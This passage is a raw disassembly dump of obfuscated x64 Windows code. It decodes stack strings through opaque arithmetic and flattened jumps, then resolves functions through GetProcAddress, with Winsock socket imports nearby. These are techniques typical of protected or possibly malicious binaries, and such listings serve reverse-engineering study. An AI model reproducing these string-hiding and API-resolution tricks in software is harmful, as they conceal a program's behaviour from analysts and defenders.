and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xc
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
lea ecx, [r11 + 0x28]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x18
jmp 0x14006665e
lea ecx, [r11 - 0x44]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x24
jmp 0x140066632
lea ecx, [r11 - 0x1c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3c
jmp 0x1400665f8
movzx r9d, r11b
lea ecx, [r9 + 0x78]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x48
jmp 0x1400665bc
lea ecx, [r11 + 0xc]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x54
dec r11
inc r11
jmp 0x140065c33
lea ecx, [r11 - 0x60]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x60
inc r8
dec r11
inc r11
jmp 0x140065c33
lea ecx, [r11 + 0x34]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x6c
movzx r9d, r11b
jmp 0x140066551
lea rcx, [r8 + 3]
cmp rbx, rcx
jae 0x1400661b7
lea ecx, [r11 + 0x36]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7a
jmp 0x140066058
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400661ed
lea ecx, [r11 - 0x24]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 4
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
cmp rbx, rcx
jne 0x140066211
lea edx, [r11 - 0x4c]
movzx eax, dl
and al, r10b
mov ecx, 0xa
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140066632
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066239
lea edx, [r11 + 0x20]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400665fb
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066265
movzx r9d, r11b
lea edx, [r9 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400665bc
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140066293
lea edx, [r11 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140065c33
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140066058
movzx r9d, r11b
lea edx, [r9 + 0x3c]
mov ecx, 0x2e
jmp 0x140066540
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400662db
movzx r9d, r11b
lea edx, [r9 + 0x4a]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 6
jmp 0x14006654e
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14006630c
lea edx, [r11 - 0x4a]
movzx eax, r10b
and al, dl
mov ecx, 3
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
inc r8
dec r11
inc r11
jmp 0x140065c33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066334
lea edx, [r11 - 6]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400665f8
cmp rbx, rcx
jne 0x140066355
lea edx, [r11 - 0x2e]
movzx eax, r10b
and al, dl
mov ecx, 0x21
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006662f
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14006600c
lea edx, [r11 - 0x56]
movzx eax, r10b
and al, dl
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x1400663ca
lea ecx, [r11 - 0x48]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edi, [rcx + r10]
sub dil, 8
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x1400663ef
lea edx, [r11 - 0x70]
movzx eax, r10b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006662f
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066417
lea edx, [r11 + 0x68]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400665f8
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066445
lea edx, [r11 + 0x40]
movzx eax, r10b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140065c33
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140065fc4
movzx r9d, r11b
lea edx, [r9 + 0x18]
mov ecx, 0x2c
jmp 0x140066540
mov byte [rbp + r11 + 0x270], dil
inc r11
jmp 0x140065c33
movzx r9d, r11b
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
movzx ecx, byte [rbp + r11 + 0x270]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x1400665bc
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14006662f
lea edx, [r11 - 0x32]
movzx eax, r10b
and al, dl
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14006665e
lea edx, [r11 + 0x62]
movzx eax, r10b
and al, dl
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
jmp 0x14006662f
lea edx, [r11 - 0xa]
movzx eax, r10b
and al, dl
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400665fb
lea edx, [r11 - 0x4e]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
dec r11
inc r11
jmp 0x140065c33
movzx r9d, r11b
lea edx, [r9 - 0x26]
mov ecx, 5
movzx eax, r10b
and al, dl
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
sub r9b, 0x46
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x16
add r9b, r10b
mov byte [rbp + r11 + 0x270], r9b
inc r8
dec r11
inc r11
jmp 0x140065c33
lea ecx, [r11 - 0x6a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1a
inc r8
dec r11
inc r11
jmp 0x140065c33
movzx r9d, r11b
lea ecx, [r9 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x32
add r9b, 0x26
movzx eax, r9b
and al, r10b
add al, al
movzx ecx, dil
sub cl, al
sub cl, 0xa
add cl, r9b
add cl, r10b
mov byte [rbp + r11 + 0x270], cl
jmp 0x1400665f8
lea ecx, [r11 + 0x52]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3e
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x140065c33
lea rdx, [r11 + r13]
movzx r10d, r9b
movzx eax, dl
and al, r9b
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x56
add dil, dl
lea edx, [r11 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x270], al
inc r8
add rax, r8
sub r11, rax
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
sub cl, 0x78
add cl, r10b
mov byte [rbp + r11 + 0x270], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
lea rcx, [r11 + r12]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
movzx eax, byte [rbp + r11 + 0x270]
add rax, r8
add r11, rax
inc r11
jmp 0x140065c33
add r11b, 0xe
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x62
jmp 0x140065c30
sub r11b, 0x5e
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edi, [r11 + r10]
sub dil, 0x6e
jmp 0x140065c17
lea rdx, [rbp + 0x16f42b8]
jmp 0x140066721
lea rdx, [rbp + 0xc817ee]
jmp 0x140066721
lea rdx, [rbp + 0x270]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x68], rax
mov byte [rbp + 0x2a0], 0x5f
mov byte [rbp + 0x2a1], 0x7e
mov byte [rbp + 0x2a2], recvfrom
mov byte [rbp + 0x2a3], WSACleanup
mov byte [rbp + 0x2a4], 9
mov byte [rbp + 0x2a5], 0
mov byte [rbp + 0x2a6], 0
mov byte [rbp + 0x2a7], reloc.WS2_32.dll_WSASetLastError
mov byte [rbp + 0x2a8], 9
mov byte [rbp + 0x2a9], WSACleanup
mov byte [rbp + 0x2aa], 0x77
mov byte [rbp + 0x2ab], 7
mov byte [rbp + 0x2ac], 8
mov byte [rbp + 0x2ad], WSACleanup
mov byte [rbp + 0x2ae], WSAGetLastError
mov byte [rbp + 0x2af], 0x1a
mov byte [rbp + 0x2b0], 0x86
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x2b1], xmm0
mov word [rbp + 0x2c1], ax
movabs rsi, 0x139a843346b1d6c3
movabs r13, 0x89399d66eedcdf55
movabs r12, 0x3acf8c99d4158449
movzx edi, byte [rbp + 0x3e0]
nop
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
xor r11d, r11d
cmp r11, 0x23
jae 0x140067368
movzx r10d, byte [rbp + r11 + 0x2a0]
mov rdx, r10
nop dword [rax]
cmp rbx, r11
ja 0x14006735f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006683c
lea rcx, [r11 + rsi]
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x55
jmp 0x140066876
je 0x1400672f2
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067269
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067237
lea rax, [r8 + 5]
cmp rbx, rax
je 0x1400671f9
lea rax, [r8 + 6]
cmp rbx, rax
je 0x1400671b2
cmp r8, r11
ja 0x140067356
lea rax, [r8 + 0x2a]
cmp rbx, rax
jae 0x1400668a0
lea ecx, [r11 - 1]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 7
jmp 0x1400668e1
lea rax, [r8 + 1]
cmp rbx, rax
je 0x140067196
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067172
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140067151
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140067136
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140067109
lea rax, [r8 + rbx]
cmp rax, r11
jbe 0x140066e42
nop
lea rax, [r8 + 0x20]
cmp rbx, rax
je 0x140066e1f
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x140066dfb
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140066dd6
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140066db3
lea rax, [r8 + 0x200]
cmp rbx, rax
je 0x140066d98
lea rax, [r8 + 0x64]
cmp rbx, rax
je 0x140066d79
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140066d5a
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140066d3f
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140066d0e
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x1400668f0
lea rbx, [r8 + 3]
lea r8, [rbx + 0x10]
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x140067339
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x14006731c
lea rax, [r8 + 4]
cmp rbx, rax
jb 0x140066ad7
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x140066abc
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x140066aa1
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140066cc5
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140066c80
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140066c40
lea rax, [r8 + 0x7a]
cmp rbx, rax
jb 0x140066c1a
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x1400668f0
lea rbx, [r8 + 0x3e8]
lea r8, [rbx + 0x2a]
lea rax, [r8 + 8]
cmp rbx, rax
ja 0x140066bed
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x140066bd2
lea rax, [r8 + 0x10]
cmp rbx, rax
ja 0x140066bb3
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140066b98
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140066b7d
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x140066b5a
lea rax, [r8 + 0x2a]
cmp rbx, rax
ja 0x140066b39
lea rax, [r8 + 0x42]
cmp rbx, rax
ja 0x140066b15
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140066af2
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x1400668f0
lea rbx, [r8 + 9]
lea r8, [rbx + 0x64]
jmp 0x1400668f0
lea ecx, [r11 - 0x1f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x27
jmp 0x1400668e1
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
jmp 0x140066876
lea ecx, [r11 - 0x2b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2d
jmp 0x140066806
lea edx, [r11 - 8]
movzx eax, dl
and al, r10b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x1400671cc
lea ecx, [r11 + 0x72]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x1e
inc r8
dec r11
inc r11
jmp 0x1400667f3
lea ecx, [r11 - 0x14]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x74
dec r11
inc r11
jmp 0x1400667f3
lea edx, [r11 + 0x66]
movzx eax, dl
and al, r10b
mov ecx, 0x1b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx r9d, r11b
jmp 0x140067213
lea ecx, [r11 - 0x20]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x20
jmp 0x14006724d
lea ecx, [r11 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
jmp 0x140067250
lea edx, [r11 - 0x2c]
movzx eax, dl
and al, r10b
mov ecx, 0x1a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067283
lea ecx, [r11 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
jmp 0x1400672ab
lea ecx, [r11 - 0x38]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea ecx, [r11 - 7]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x31
mov byte [rbp + r11 + 0x2a0], dil
inc r11
jmp 0x1400667f3
lea ecx, [r11 + 0x73]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x25
cmp r8, 0x61
jb 0x140066c30
movzx r9d, r11b
lea ecx, [r9 - 0x4e]
movzx eax, cl
and al, r10b
mov edx, reloc.WS2_32.dll_recvfrom
sub dl, al
add dl, dl
add dl, cl
add dl, r10b
lea edi, [rdx + rdx]
jmp 0x1400671cc
lea ecx, [r11 - 0x13]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7b
cmp rbx, 0x64
jae 0x1400670cc
lea rax, [r8 + 0x7a]
cmp rbx, rax
jbe 0x140066fee
lea ecx, [r11 + 0x76]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3a
jmp 0x140066c56
lea ecx, [r11 + 0x67]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x2f
lea rax, [r8 + rbx]
cmp rax, 0x2a
je 0x1400670f3
lea rax, [r8 + 8]
cmp rbx, rax
jbe 0x140066f40
lea ecx, [r11 + 0x77]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x41
jmp 0x140066c96
lea edx, [r11 - 6]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea ecx, [r11 + 0x74]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2c
jmp 0x1400672ab
lea edx, [r11 - 0x12]
movzx eax, dl
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067283
lea edx, [r11 + 0x68]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067250
lea ecx, [r11 - 0x1e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x2e
jmp 0x14006724d
movzx r9d, r11b
lea edx, [r9 + 0x5c]
movzx eax, dl
and al, r10b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067213
lea edx, [r11 - 0x2a]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_send
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r11
inc r11
jmp 0x1400667f3
lea ecx, [r11 + 0x50]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x30
inc r8
dec r11
inc r11
jmp 0x1400667f3
movzx r9d, r11b
lea edx, [r9 - 0x36]
movzx eax, dl
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x1400671cc
lea rax, [r8 + 9]
cmp rbx, rax
jae 0x140066e66
lea ecx, [r11 - 0x3d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x55
jmp 0x140066cdb
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066ea0
lea edx, [r11 - 2]
movzx eax, dl
and al, r10b
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140066ec4
lea ecx, [r11 + 0xa]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x46
jmp 0x140067283
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066eec
lea edx, [r11 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006724d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140066f14
movzx r9d, r11b
lea ecx, [r9 - 0x64]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x44
jmp 0x140067213
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140066cdb
movzx r9d, r11b
lea ecx, [r9 + 0x2e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x42
jmp 0x1400671cc
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140066f68
movzx r9d, r11b
lea ecx, [r9 - 3]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x15
jmp 0x1400671cc
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140066f90
movzx r9d, r11b
lea ecx, [r9 - 0x71]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x17
jmp 0x140067213
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140066fb4
lea ecx, [r11 + 0x21]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x19
jmp 0x140067283
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140066c96
lea ecx, [r11 + 0x2d]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x3b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140067028
lea edx, [r11 - 4]
movzx eax, dl
and al, r10b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140067050
lea edx, [r11 - 0x72]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140067250
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140067078
lea edx, [r11 + 0x14]
movzx eax, dl
and al, r10b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x14006724d
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400670a0
movzx r9d, r11b
lea ecx, [r9 - 0x66]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x36
jmp 0x140067213
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x140066c56
movzx r9d, r11b
lea ecx, [r9 + 0x2c]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x34
jmp 0x1400671cc
movzx r9d, r11b
lea edx, [r9 + 0x38]
movzx eax, dl
and al, r10b
movzx ecx, byte [rbp + r11 + 0x2a0]
sub cl, al
add cl, 0x3c
lea edi, [rcx + rcx]
add dil, dl
jmp 0x140067213
lea ecx, [r11 - 0x42]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [rcx - 0x32]
jmp 0x140067283
lea ecx, [r11 - 0x4b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0xd
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea ecx, [r11 - 0x63]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4b
jmp 0x14006724d
lea ecx, [r11 - 0x6f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 9
dec r11
inc r11
jmp 0x1400667f3
lea ecx, [r11 + 0xb]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4d
inc r8
dec r11
inc r11
jmp 0x1400667f3
movzx r9d, r11b
lea ecx, [r9 - 0x7b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x5d
jmp 0x1400671cc
movzx r9d, r11b
lea ecx, [r9 + 0x79]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x4f
add r9b, 0x75
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x33
add r9b, r10b
mov byte [rbp + r11 + 0x2a0], r9b
inc r8
dec r11
inc r11
jmp 0x1400667f3
movzx r9d, r11b
lea ecx, [r9 - 0x19]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x51
sub r9b, 5
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
add r9b, 0x23
add r9b, r10b
add r9b, dil
mov byte [rbp + r11 + 0x2a0], r9b
jmp 0x14006724d
lea ecx, [r11 + 0x61]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
add dil, 0x59
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400667f3
lea rcx, [r11 + r13]
movzx r10d, dl
and dl, cl
add dl, dl
movzx edi, r10b
sub dil, dl
sub dil, 0x53
add dil, cl
lea ecx, [r11 - 0x7f]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
add cl, 0x79
add cl, r10b
movzx eax, cl
mov byte [rbp + r11 + 0x2a0], al
inc r8
add rax, r8
sub r11, rax
lea edx, [r11 + 0x44]
movzx eax, dl
and al, r10b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
mov byte [rbp + r11 + 0x2a0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r11, rax
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
lea rcx, [r11 + r12]
movzx eax, dl
and al, cl
add al, al
sub dl, al
lea edi, [rcx + rdx]
inc dil
movzx eax, byte [rbp + r11 + 0x2a0]
add rax, r8
add r11, rax
inc r11
jmp 0x1400667f3
add r11b, 0x4f
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x29
jmp 0x1400667f0
sub r11b, 0x37
movzx eax, r11b
and al, r10b
add al, al
sub r11b, al
lea edi, [r10 + r11]
sub dil, 0x7f
jmp 0x1400667e0
lea rdx, [rbp + 0x17c4da4]
jmp 0x14006736f
lea rdx, [rbp + 0x6e2467]
jmp 0x14006736f
lea rdx, [rbp + 0x2a0]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rsp + 0x70], rax
mov byte [rbp + 0xc0], 0xa0
mov byte [rbp + 0xc1], 0x82
mov byte [rbp + 0xc2], 0x86
mov byte [rbp + 0xc3], 0x9f
mov byte [rbp + 0xc4], __WSAFDIsSet
mov byte [rbp + 0xc5], 0x86
mov byte [rbp + 0xc6], 0x82
mov byte [rbp + 0xc7], 0x9b
mov byte [rbp + 0xc8], 0x8f
mov byte [rbp + 0xc9], 0xf8
mov byte [rbp + 0xca], 0xb3
mov byte [rbp + 0xcb], reloc.WS2_32.dll_WSAStartup
xor eax, eax
mov qword [rbp + 0xcc], rax
mov dword [rbp + 0xd4], eax
movabs rsi, 0x2dc12740307a3d0d
movabs r12, 0xf40626abad369af
movabs r13, 0x4c41ec15a621106b
movzx edi, byte [rbp + 0x3e0]
call fcn.140004d90
mov rbx, qword [rax]
call fcn.140004da0
mov r8, qword [rax]
nop word [rax + rax]
xor r11d, r11d
cmp r11, 0x18
jae 0x140067b88
movzx r10d, byte [rbp + r11 + 0xc0]
mov edx, r10d
nop dword [rax]
cmp rbx, r11
ja 0x140067b7f
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14006746b
lea rcx, [r11 + r12]
mov eax, edx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x37
jmp 0x140067490
je 0x140067b2d
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140067ad1
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140067a86
nop dword [rax + rax]
cmp r8, r11
ja 0x140067b76
lea rax, [r8 + 0x10]
cmp rbx, rax
jae 0x1400674ba
lea ecx, [r11 + 0x5b]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x7d
